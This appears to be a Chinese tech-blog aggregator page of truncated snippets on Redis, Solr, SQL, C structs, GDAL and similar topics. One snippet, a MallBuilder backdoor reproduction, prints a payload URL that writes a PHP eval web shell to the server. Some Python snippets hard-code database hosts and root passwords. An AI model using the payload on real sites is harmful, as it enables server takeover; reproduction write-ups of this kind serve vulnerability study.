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Filed Play:简介

目录 引子 What? How this project works? Float packing 参考资料 引子 在尝试数学函数可视化的时候,发现了一个有趣的库 Field Play ,对 README 中的说明进行部分翻译记录,做个初步了解。 Origin My GitHub What? 让我们为网格上的每个点指定一个向量 (1, 0) 。这意味着我们

Redis学习(1)

这里只总结具体用法,至于redis的输出需要自己在redis-cli中试一下。 Redis中的数据结构 有以下5个基础数据结构 string 字符串 list 链表 hash 哈希表 set 集合 zset 有序集合 还有几个新的数据结构,感觉不是很常用? hyperloglog 位图 地理位置? 流 string 字符串 设置值 set key

C# Expression使用实践——为FreeSql增加WhereLike方法

1.背景 前端有一个是否模糊查询的参数,当未勾选时,所有字符串类型的值使用a = 'xxx',勾选后使用a like '%xxx%' 如果使用WhereIf来写,每一个判断条件都需要写两行 .WhereIf(!request.IsLike && request.A.HasValue(), (i, o) => o.A== request.A) .WhereIf(request.IsLike && request.

纯js 导出excle文件

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=

poj2386:Lake Counting

给定一个图,'.'表示陆地,'W'表示有水,求水洼的数量 遍历图,若遍历到'W'则进行深搜,将该点置为'.',遍历该点所有邻接点,若为'W'则继续深搜 在遍历图的过程中进行调用dfs的次数即为水洼数(怎么感觉像求连通分量......) #include<stdio.h> #include<iostream> using namespace std; const in

sql批量替换字段中的内容

如果我们要将所有包含有xyz的对象中的xyz都变成abc的话呢,可以通过replace配合update实现。如下:update `table_name` set filed_name = REPLACE(filed_name,"xyz","abc");   转载自:https://www.cnblogs.com/bide/p/5981540.html  

小记001

错误日记: xxx has no exported filed 这个表示没有可导出的字段 意思是不能被外界访问      

CSV/txt转点shp python+gdal

废话不说,直接上码  from osgeo import ogr import pandas as pd from osgeo import osr def csv2shp(csv_path, shp_path): # 解决中文字符问题 gdal.SetConfigOption("GDAL_FILENAME_IS_UTF8", "NO") gdal.SetConfigOption("SHAPE_ENCODING",

循环导出所有行和列

import pymysql,xlwt def export_excel(table_name): host,user,passwd,db='192.168.1.152','root','myjcyf','us_sys' coon=pymysql.connect(host=host,user=user,passwd=passwd,db=db,port=32781,charset='utf8'

break用法

break用法:循环的时候,循环一次即停止 import pymysql,xlwt FI = pymysql.connect( host='192.168.1.10',user='root',passwd='zentao_123', port=3306,db='zentao',charset='utf8' #port必须写int类型, #charset这里必须写utf8 ) cu

solr 基础 —— filed 与 schema

1. filed 的定义 定义一个 field,名字为 text_general <fieldType name="text_general" class="solr.TextField" positionIncrementGap="100"> <analyzer type="index"> <tokenizer class="solr.StandardTokenize

ORA-00904: "FILED_TYPE": 标识符无效

ORA-00904: "FILED_TYPE": 标识符无效 背景:   当出现标识符无效的时候,你就该注意了   这是一个非常严重的问题   因为你的字段名称.........写错了[捂脸] 解决方案:   没错就是你把字段名称写错了,insert into 表名(字段名) value(值);   只需要把字段名改对就

差集交集

两个df对象,要获取这两个df对象的交集和差集 取交集 inner_df = pd.merge(df1, df2, how='inner') ## 计算df1=df2的部份 left_df = pd.merge(df1, df2, how='left') ## df1部分 right_df = pd.merge(df1, df2, how='right') ## df2部分 outer_df = pd.merge(df1, df2, how=&#

MallBuilder逻辑后门(复现)

0x00 payload http://127.0.0.1:88/mall/lib/smarty/plugins/modifier.config.php?codelock_filed=.&codelock_mastersize=3&codelock_act=3&codelock_enc=shell.php&codelock_masterdata=%3C?php%20@eval%28$_POST[X]%29;?%3E 在lib/smarty/plugins目录下生成shel

C#在类外部实现对私有字段的值的修改

定义一个测试类: 1 class RefHero 2 { 3 string name = "Tom"; 4 int age = 10; 5 bool isBoy = false; 6 } 如果在外部想实现对私有字段的修改,该如何做呢?下面使用反射的技术实现这个需求,直接上代码: 1 static void ModifyRefHeroFiled() 2 { 3 //收集需要

Specifications动态查询

有时我们在查询某个实体的时候,给定的条件是不固定的,这时就需要动态构建相应的查询语句,在Spring Data JPA中可以通过JpaSpecificationExecutor接口查询。相比JPQL,其优势是类型安全,更加的面向对象。   import java.util.List; import org.springframework.data.domain.Page; im

C中的struct,union,Bit Filed以及内存对齐

文章目录介绍struct字节对齐再次探讨struct的内存占用不使用反汇编计算占用空间Bit Filedunion参考资料 介绍 之前我们在这篇文章中提到了如何判断计算机的大小端,里面涉及到了union,这篇文章仔细讲一下这三种结构体的区别。 我的实验平台是x86_64的Ubuntu struct 这是我们平

solr原理

首先要明白solr其实本质上是一个软件应用,它的原理其实是基于lucence的,lucence中文的意思是全文检索工具,他是将你的每一个文档进行划分,然后创建索引,当你搜到某一关键字时,就会搜出来它的文档。 原始文档(来自于爬虫爬的网页,数据库,或者硬盘上存储的文件) 1.lucence会先将你的原始文档封

反射获取私有属性

package com.day14.fanshe; import java.lang.reflect.Field; public class Test { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, SecurityException, InstantiationException, IllegalAccessException { // TOD

如何运用freemarker模板技术自动生成数据库中的存在的表格对应的domain!

 freemarker模板技术的基本使用步骤:        freemarker:是比较流行的一个模板技术【ftl】       1.导包(freemarker是一个小框架)       2.创建一个配置对象Configuration(加个版本)       3.设置加载路径       4.设置字符集(默认)     

【redis 学习系列】API的理解与使用(二)

3、哈希 几乎所有的语言都支持了哈希(hash)类型。在Redis中,哈希类型是指键值本身又是一个键值对结构,形如:value = {{field, value} ... {field, value}},Redis键值对和哈希类型的关系可以入下图所示:   哈希类型中的映射关系叫做field-value,注意这里的value指的是field对应的值,而不

[备忘]js表单序列化代码

function serialize(form) { var parts = [], elems = form.elements, i = 0, len = elems.length, filed = null; for (; i < len; i++) { filed = elems[i]; switch (filed.type) { case &q

Redis的基本操作语句

注:以下出现的key、value都需要具体 1.String类型的数据存储获取 set key value:设置key的值为value,若存在则覆盖,不存在则自动创建decrby get key:获取key的值,不存在返回nil表示为空,数据若不为String也回返回错误信息getset key value:首先获取key的值再对其进行修改del key:删除key及